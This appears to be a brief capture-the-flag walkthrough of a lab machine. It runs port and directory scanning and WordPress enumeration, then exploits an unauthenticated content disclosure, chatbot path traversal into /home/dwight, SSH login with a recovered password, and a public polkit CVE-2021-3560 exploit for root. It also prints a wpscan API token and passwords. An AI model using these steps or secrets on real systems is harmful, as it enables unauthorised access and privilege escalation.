$ IP=10.129.136.31

Full Port Scan

$ nmap $IP -sV -T4 -n -Pn --max-rtt-timeout 1500ms --min-rate 1000 --max-retries 3 --open -p- -oA full_port_scan --stats-every=5s

Directory enumeration in website

$ dirsearch -u  http://10.129.136.31

-> Nothing

$ dirb http://10.129.136.31

-> Nothing

$ ffuf -u http://10.129.136.31/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-directories.txt
  1. Just /manual/ directory has been found.

File enumeration in website

$ ffuf -u http://10.129.136.31/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-files.txt

-> Nothing

$ sudo echo "$IP office.paper" | sudo tee -a /etc/hosts

WordPress Enumeration

$ curl -s $HOSTNAME | grep WordPress

$ curl -s $HOSTNAME | grep themes

$curl -s $HOSTNAME | grep plugins

-> Nothing for plugins.

Users : nick,prisonmike,creedthoughts


PHP Version : 7.2.24

Apache/2.4.37 centos

X-Backend-Server : office.paper

$ sudo wpscan --url $HOSTNAME --enumerate --api-token LrVndrFBHYxPJDd7s6IXSeR7Pdc07YlAsLJE7w97fiI

PoC

https://wpscan.com/vulnerability/3413b879-785f-4c9f-aa8a-5a4a1d5e0ba2/

I Tried :

http://office.paper/?static=1&order=desc

Go there and i registered.

$  recyclops file /../../../../../../home/dwight
$  recyclops list /../../../../../home/dwight/sales

recyclops:Queenofblad3s!23

Then i tried this password in the user dwight by using ssh

$ ssh dwight@$IP
$ ./linpeas.sh

i found the polkit is vulnerable

googling result :

https://github.com/SeimuPVE/CVE-2021-3560_Polkit

$ polkit.sh -u dotnetguard -p DotNetGuard123!